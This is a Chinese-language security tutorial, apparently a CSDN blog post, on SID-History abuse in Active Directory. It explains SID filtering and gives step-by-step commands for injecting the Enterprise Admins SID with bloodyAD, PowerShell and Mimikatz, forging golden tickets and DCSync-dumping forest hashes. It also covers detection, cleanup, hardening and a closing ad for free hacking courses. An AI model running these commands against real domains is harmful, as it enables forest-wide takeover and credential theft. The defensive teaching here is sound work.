免责声明本文仅供授权渗透测试、红蓝对抗、安全运维学习全部实验操作务必在自建隔离靶场完成。未经授权对内网 AD 域、域林环境实施攻击属于违法行为请严格遵守网络安全法律法规。前言SID‑HistorySID 历史是 Active Directory 为域迁移设计的属性。账号跨域迁移时旧域 SID 写入该属性用户登录时令牌会加载 SID‑History 内全部安全标识符保留旧域资源访问权限。攻击者滥用该属性将高权限组 SID 注入普通低权限账号实现权限提升、持久化、跨域林横向接管是 APT 与红队非常经典的 AD 攻击手段。很多安全从业者仅仅了解同域环境 SID‑History 后门但是对父子域、域树、域林跨信任边界攻击理解浅薄。很多企业运维审计只检查账号组成员不去读取sIDHistory属性导致后门长期潜伏跨域场景下SID‑FilteringSID 过滤机制决定攻击是否生效大量企业历史配置关闭 SID 过滤埋下域林沦陷风险。本文万字长文从底层原理、AD 信任、SID 过滤机制入手完整拆解 SID‑History 攻击包含同域提权、子域→父域提权、域林跨信任利用、实战完整复现命令、攻击前置限制、日志取证、蓝队检测排查、清除修复、加固方案同时梳理大量实战踩坑点与认知误区。适合内网渗透工程师、红队队员、应急响应、安全运维阅读。MITRE ATTCK 映射T1134 访问令牌操作T1098.001 账号属性篡改TA0003 持久化TA0008 横向移动。工具清单bloodyAD、PowerView、DSInternals、Mimikatz、Rubeus、pySIDHistory、Microsoft Defender for Identity。一、SID‑History 基础原理1.1 什么是 SID 与 SID‑HistorySIDSecurity Identifier安全标识符Windows 每一个用户、组、计算机对象拥有全局唯一 SID。格式示例S‑1‑5‑21‑12345678‑87654321‑11223344‑512。末尾 RID 代表对象身份512Domain Admins 域管理员组519Enterprise Admins 企业管理员组域林根域最高权限组。sIDHistory是 AD 用户对象的多值属性存储一组 SID 集合。账号登录生成访问令牌的时候系统会把账号自身 SID sIDHistory 内全部 SID 全部加入安全令牌参与资源 ACL 权限校验。业务原始用途域迁移。当账号从 A 域迁移到 B 域账号本体 SID 发生改变把 A 域原账号、原所属组 SID 写入 sIDHistory。用户迁移完成后依旧可以正常访问 A 域旧资源不需要修改资源 ACL。关键点sIDHistory 属性不会自动校验 SID 来源合法性只要 SID 写入属性登录时就会加载进令牌这就是攻击根源。1.2 两种滥用场景同域滥用域持久化 / 本地提权把本域 Domain Admins (RID512) 的 SID 写入普通域用户。普通账号不在域管理员组登录后拥有域管理员全部权限作为持久化后门。修改账号密码不会清空 sIDHistory后门持续有效。跨域 / 跨域林滥用域林横向接管在子域控制账号把父域 / 域林根域 Enterprise Admins (RID519) 的 SID 写入子域账号 sIDHistory跨信任边界拿到整个域林最高权限。该攻击是否生效完全取决于信任关系上的 SID‑FilteringSID 过滤开关。1.3 SID‑Filtering SID 过滤核心机制重中之重SID 过滤是域信任的安全防护机制当账号跨信任认证时信任域会检查 Kerberos PAC 中携带的 SID 列表剔除不属于受信任域本身的外来 SID阻止注入的外来高权限 SID 生效。不同信任关系 SID 过滤默认状态信任类型SID‑Filtering 默认状态SID‑History 注入攻击是否生效域林内部父子域intra‑forest默认关闭 SID 过滤✅注入 SID 完全生效可以子域提权到根域外部域林信任inter‑forest 跨林信任默认开启 SID 过滤❌外来 SID 被剥离攻击失效管理员手动关闭过滤后攻击生效外部信任 External Trust默认开启 SID 过滤❌关闭过滤才可利用非常重要的知识点同一个域林内部父子域之间 SID 过滤默认关闭这是 Windows 原生设计不是漏洞。因此只要拿到子域域管理员权限就可以通过 SID‑History 注入拿到整个域林 Enterprise Admins 权限完成域林接管。跨林外部信任如果运维人员为了兼容旧业务手动设置TREAT_AS_EXTERNAL关闭 SID 过滤攻击者就可以跨两个完全独立的 AD 森林横向渗透这是护网中高危风险点。SID 过滤只会剥离外来域高权限 RID SIDRID1000 普通自定义 SID 不会被过滤这个特性也会被攻击者绕过防御。二、攻击前置条件梳理很多初学者直接复制 EXP发现攻击不生效没有理清全部前置约束。SID‑History 注入不是无条件利用。2.1 写入 sIDHistory 属性的权限条件想要向账号写入 sIDHistory攻击者账号必须具备下面其中一种权限域管理员 Domain Admin / 企业管理员 Enterprise Admin对目标用户对象拥有WriteProperty / GenericWrite / GenericAll权限DRSUAPI 目录复制权限通过 DCSync 远程修改属性普通域用户默认没有写入 sIDHistory 的权限部署后门需要高权限部署完成后使用被注入的低权限账号登录不需要管理员权限即可获得高权限令牌。注意普通 AD 用户图形化控制台、ADUC 控制台默认不允许直接编辑 sIDHistory必须使用 LDAP 操作、bloodyAD、PowerShell、Mimikatz、DSInternals 等工具写入属性值。2.2 跨域林攻击生效必要条件域林内部父子域不需要额外配置SID 过滤默认关闭注入根域 EARID‑519SID 即可生效跨外部域林信任信任关系 SID‑Filtering 必须被手动关闭否则 PAC 里面外来 SID 被剥离权限不会生效网络条件账号可以跨信任完成 Kerberos 认证域之间 DNS 解析正常时间同步时间差小于 5 分钟。2.3 攻击能力边界✅写入 Domain Admins SID获得当前域全部管理权限✅写入 Enterprise Admins SID获得整个域林所有域最高权限可以 DCSync 域林根域导出全林所有账号凭据❌SID 过滤开启的跨林信任注入外部森林 SID 会被直接丢弃权限完全不生效❌写入无效格式 SID 字符串不会报错但是权限不会生效。实战现象属性写入成功但是访问父域资源被拒绝。90% 的原因就是 SID‑Filtering 开启外来 SID 被剥离。三、实战复现完整流程靶场环境说明域林根域root.lab.local S‑1‑5‑21‑111111‑222222‑333333子域child.root.lab.localEnterprise Admins 组 SIDS‑1‑5‑21‑111111‑222222‑333333‑519子域普通受控账号lowuser子域普通域用户攻击者可控攻击者拿到子域 Domain Admin 权限目标向 lowuser 写入 EA SID实现子域账号接管整个域林。3.1 信息枚举步骤第一步枚举域林结构、根域 SID、Enterprise Admins SID。Linux bloodyAD 枚举# 获取当前所在域信息 bloodyAD --host child‑dc.child.root.lab.local -d child.root.lab.local -u childadmin -p Pass123 get domain # 获取域林根域SID拼接Enterprise Admins SID根域SID拼接‑519就是EA组SID bloodyAD --host child‑dc.child.root.lab.local -d child.root.lab.local -u childadmin -p Pass123 get forest # 枚举信任关系确认是否为林内父子域SID‑Filtering状态 bloodyAD --host child‑dc.child.root.lab.local get trustPowerShell (PowerView) 枚举# 获取域林信息 Get‑ADForest # 获取根域SID (Get‑ADDomain root.lab.local).DomainSID # Enterprise Admins SID 根域SID -519Enterprise Admins 只存在域林根域RID 固定 519这是域林最高权限安全组。3.2 向普通账号注入 SID‑History方式 1bloodyADLinux 红队最常用# 将Enterprise Admins完整SID写入子域普通账号lowuser的sIDHistory属性 bloodyAD --host child‑dc.child.root.lab.local -d child.root.lab.local -u childadmin -p Pass123 add‑sid‑history lowuser S‑1‑5‑21‑111111‑222222‑333333‑519方式 2PowerShell AD 模块写入$eaSid New‑Object System.Security.Principal.SecurityIdentifier(S‑1‑5‑21‑111111‑222222‑333333‑519) Set‑ADUser lowuser -Add {sIDHistory $eaSid.Value}方式 3Mimikatz 实现lsadump::sidhistory /user:lowuser /sid:S‑1‑5‑21‑111111‑222222‑333333‑5193.3 验证攻击效果注入完成之后使用账号lowuser登录该账号只是子域普通 Domain User不在任何高权限组。但是令牌加载 sIDHistory 里面 Enterprise Admins 的 SID。验证权限执行 DCSync 导出域林根域 krbtgt 哈希证明已经拿到域林最高权限。Impacket secretsdump 跨域 DCSyncsecretsdump.py child.root.lab.local/lowuser:xxxroot‑dc.root.lab.local -just‑dc现象可以成功导出根域全部账号哈希实现从子域普通账号接管整个域林。即使子域域管理员账号被修改密码只要 lowuser 账号不被删除sIDHistory 属性存在后门持续生效。3.4 同域场景注入单域持久化后门单域环境将 Domain Admins SID (RID‑512) 写入普通账号bloodyAD add‑sid‑history testuser S‑1‑5‑21‑xxxx‑xxxx‑xxxx‑512登录 testuser直接具备本域域管理员全部权限。查看用户所属组看不到 testuser 存在 Domain Admins 组内隐蔽性强。3.5 结合黄金票据实现跨域林攻击除了修改账号 sIDHistory 属性攻击者伪造黄金票据的时候直接在票据 PAC 的 SIDHistory 字段写入 Enterprise Admins SID。拿到子域 krbtgt 哈希伪造黄金票据PAC 植入根域 EA SID直接访问域林根域资源。该方式不修改 AD 对象磁盘属性纯内存票据属于另一条攻击链路。Mimikatz 黄金票据 PAC 注入 SID‑History 示例kerberos::golden /domain:child.root.lab.local /sid:子域SID /krbtgt:子域krbtgt哈希 /user:fake /sids:S‑1‑5‑21‑111111‑222222‑333333‑519 /ptt区别修改账号对象 sIDHistory 是持久化后门永久保存在 AD 数据库黄金票据 PAC 内 SIDHistory 只存在内存票据重启丢失。四、实战高频踩坑与失效原因分析踩坑 1父子域注入 EA SID 但是权限不生效DNS 解析故障子域 DC 无法解析根域 KDC机器与域控时间差大于 5 分钟Kerberos 认证失败SID 字符串写错RID 写错复制错误 SIDAD 复制延迟多域控环境属性已经写入一台 DC但是还没有复制到登录所访问的域控等待 AD 复制周期或者手动触发复制。踩坑 2跨外部域林信任注入 SID 完全无效外部域林信任默认开启 SID‑FilteringPAC 中的外来域 SID 会被信任域剥离。除非管理员关闭 SID 过滤否则攻击无法利用很多新手误以为只要能建立信任就可以直接注入 SID 接管另一个森林这是重大误区。查看域信任 SID 过滤状态 PowerShell 命令Get‑ADTrust -Filter * | Select‑Object Name,TrustAttributesTrustAttributes 值包含0x2(TREAT_AS_EXTERNAL)代表 SID 过滤关闭存在攻击风险。踩坑 3ADUC 控制台查看账号看不到 sIDHistoryADUC 默认属性编辑器默认不会展示 sIDHistory需要开启高级功能绝大多数运维日常审计组成员根本不会查看这个属性后门容易逃逸巡检。踩坑 4修改普通账号密码SID‑History 后门依旧存活sIDHistory属于独立账号属性修改账号登录密码不会清空该属性。很多应急人员发现入侵之后仅仅修改全部账号密码SID‑History 后门完全不受影响攻击者依旧可以接管域林大量真实应急事件踩坑。只有手动 Clear 清除属性后门才失效。踩坑 5删除账号才会丢失 sIDHistory 属性账号对象被删除属性随之消失仅仅重置密码、移出安全组不会清除。踩坑 6RID1000 普通 SID 绕过 SID 过滤SID 过滤只会剥离知名高权限 RID512、519RID1000 自定义 SID 不会被过滤。攻击者可以在信任两端创建 RID 大于 1000 的高权限自定义组注入 SID 绕过 SID 过滤限制这是高级绕过技巧。五、日志取证SID‑History 攻击的审计事件想要捕获 SID‑History 注入行为必须提前开启 AD 高级审计策略目录对象访问审计默认 Windows 域控策略没有开启不会生成对应日志很多企业缺失日志入侵之后无法溯源。事件 ID事件描述说明4765已向帐户添加 SID 历史记录SID‑History 注入成功核心告警日志记录写入账号与 SID 值红蓝对抗重点监控4766尝试向帐户添加 SID 历史记录失败注入失败代表攻击者正在探测尝试攻击4662目录对象操作LDAP 修改用户对象属性操作属性为sIDHistory开启目录服务审计才产生5136目录服务对象已修改AD 对象属性修改记录 LDAP 属性修改操作重要提醒4765 是专门针对 sIDHistory 的专属事件优先监控 4765。很多环境没有配置高级审计只会看到 4662看不到 4765。开启高级 AD 审计策略域组策略计算机配置 → 安全设置 → 高级审计策略配置 → 目录服务访问启用审核目录服务对象修改成功 失败。六、蓝队检测手段排查环境是否存在 SID‑History 后门分为离线巡检脚本、SIEM 日志检测、MDI 检测三大类。6.1 PowerShell 巡检脚本查询域内所有账号 sIDHistory 不为空正常业务环境绝大多数普通用户sIDHistory属性为空只有历史做过 ADMT 域迁移的账号该属性才有值。普通业务账号存在 512、519 这类高权限 SID大概率是攻击后门。# 查询本域所有用户sIDHistory不为空输出samAccountName、sIDHistory值 Get‑ADUser -Filter {sIDHistory -ne $null} -Properties sIDHistory | Select‑Object samAccountName, sIDHistory跨域林批量巡检遍历每一个域执行上面脚本。6.2 Linux bloodyAD 批量检测bloodyAD --host dc‑ip search --filter ((objectCategoryperson)(objectClassuser)(sIDHistory*)) --attributes samAccountName,sIDHistory6.3 日志侧检测规则SIEM/SOC 监控事件 ID4765任何新增 SID‑History 记录告警监控 4662操作属性 LDAP 显示sIDHistory告警规则普通域用户账号令牌中出现 Domain Admins (512)、Enterprise Admins (519) SID但是该账号不在对应安全组。6.4 Microsoft Defender for IdentityMDI原生检测MDI 内置告警规则SID‑History 注入检测当检测到向账号写入高权限 SID 会触发高风险安全警报同时区分合法迁移行为与可疑注入行为。注意企业真实业务做过 ADMT 域迁移会产生大量合法 sIDHistory需要做白名单不要直接全部告警区分业务迁移与攻击行为。6.5 域信任审计遍历全部内外域林信任检查 TrustAttributes告警TREAT_AS_EXTERNAL(0x2)关闭 SID 过滤的信任关系。Get‑ADTrust -Filter * | select Name,TrustDirection,TrustAttributes七、清除 SID‑History 后门操作7.1 PowerShell 清除单个账号 sIDHistory 属性# 清空整个sIDHistory属性 Set‑ADUser lowuser -Clear sIDHistory7.2 bloodyAD 清除属性bloodyAD --host dc‑ip -d root.lab.local -u admin -p xxx clear‑sid‑history lowuser注意不要直接删除账号应急需要保留账号用于取证溯源优先执行 Clear 清除属性。清除之后该账号重新登录新令牌不会携带注入 SID后门失效。业务环境历史 ADMT 迁移产生合法 sIDHistory迁移全部完成之后建议清理无用 sIDHistory缩小攻击面。八、加固防御方案抵御 SID‑History 攻击SID‑History 本身是合法业务属性不能直接禁用该 AD 属性防御从权限、信任、审计、运维规范多维度落地。域信任安全基线域林内部父子域 SID 过滤无法开启属于 Windows 原生设计风险无法通过开关消除因此子域域管理员账号需要作为高风险账号严格管控子域沦陷等价整个域林沦陷。外部跨域林信任永远不要手动关闭 SID‑FilteringTREAT_AS_EXTERNAL业务兼容需要迁移账号优先使用 ADMT 迁移不要关闭 SID 过滤关闭过滤会造成跨森林 SID‑History 攻击风险。定期审计全部域信任对象 TrustAttributes 属性告警关闭 SID 过滤的信任。AD 权限最小化普通业务账号禁止授予写入sIDHistory属性的权限只有域管理员、企业管理员具备该属性写入权限BloodHound 定期审计 AD 对象 ACL检查普通账号是否具备用户对象 WriteProperty 权限子域 Domain Admin 属于高风险主体不要分配给过多人员子域被攻陷可以直接接管整个域林很多企业忽略子域管理员风险。审计与监控部署高级 AD 审计策略开启 4765、4662 日志采集SIEM 告警新增 SID‑History 写入行为定期巡检所有账号sIDHistory属性建立业务迁移账号白名单部署 MDI利用身份检测产品识别 SID‑History 注入异常行为。运维应急规范发生域入侵事件不能仅仅修改账号密码必须全域巡检 sIDHistory 属性清除后门发生子域沦陷不能只处置子域需要评估整个域林安全风险子域域管理员权限可以直接拿到 Enterprise Admins 权限接管根域。重要安全认知同一个域林子域 Domain Admin ≈ 整个域林 Enterprise Admin 等效权限。很多企业以为子域管理员权限有限这是巨大安全误区因为林内关闭 SID 过滤SID‑History 注入可以直接横向接管根域。九、常见认知误区总结误区 1SID‑History 只能用于账号跨域迁移同域、林内不能用来攻击❌错误。同域完全可以注入本域 Domain Admins SID 做持久化域林内部父子域因为 SID 过滤默认关闭子域管理员可以注入 Enterprise Admins SID 接管整个域林这是红队高频利用方式。误区 2修改账号密码可以清除 SID‑History 后门❌错误。密码修改完全不会触碰sIDHistory属性后门继续生效必须调用 LDAP Clear 操作清除属性。误区 3子域域管理员权限很低威胁仅限于子域内部❌错误。同一域林内子域域管理员可以 SID‑History 注入根域 EA SID直接获取域林全部控制权子域沦陷等于整个域林沦陷这是 AD 域林重大风险点。误区 4只要建立跨外部域林信任就可以 SID‑History 跨森林接管❌错误。外部域林信任默认开启 SID‑Filtering外来 SID 被剥离攻击无效只有管理员手动关闭 SID 过滤才存在风险。误区 5ADUC 控制台看不到 SID‑History说明环境不存在该后门❌错误。ADUC 默认视图不展示该属性必须开启高级功能或者 PowerShell 查询大量企业没有巡检该属性后门长期潜伏。误区 64765 事件默认就会生成直接部署 SIEM 就可以告警❌错误。需要手动配置高级 AD 审计策略默认域控不会记录 4765 日志很多企业缺失该审计事件入侵无法溯源。误区 7SID‑History 攻击是 Windows 系统 CVE 漏洞打补丁可以修复❌错误。SID‑History 是 AD 原生设计特性不是 CVE 漏洞补丁无法消除防御依靠权限管控、信任基线、审计监控。十、总结SID‑History 攻击分为两大场景同域权限持久化域林内部子域到根域横向接管。攻击核心关键点就是SID‑FilteringSID 过滤信任安全机制域林内部父子域默认关闭过滤子域管理员可直接注入 Enterprise Admins SID 拿到全林权限外部跨林信任默认开启过滤只有人为关闭过滤才存在跨森林攻击风险。攻击特点部署需要高域权限写入属性部署完成普通受控账号即可拥有高权限修改账号密码无法清除后门属性保存在 AD 数据库AD 复制同步所有域控常规组成员审计无法发现后门隐蔽性强APT、红队经常用于域持久化与域林横向移动。蓝队防御核心理解域林风险子域 Domain Admin 是高危账号外部域林信任严禁关闭 SID‑Filtering开启 AD 高级审计监控 4765 事件定期全域巡检sIDHistory属性入侵处置不能只重置密码必须巡检清除 SID‑History 后门。实战应急经常出现的悲剧入侵发生后运维重置全部账号密码以为处置完成但是攻击者留下 SID‑History 后门几天后再次完整接管域林。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】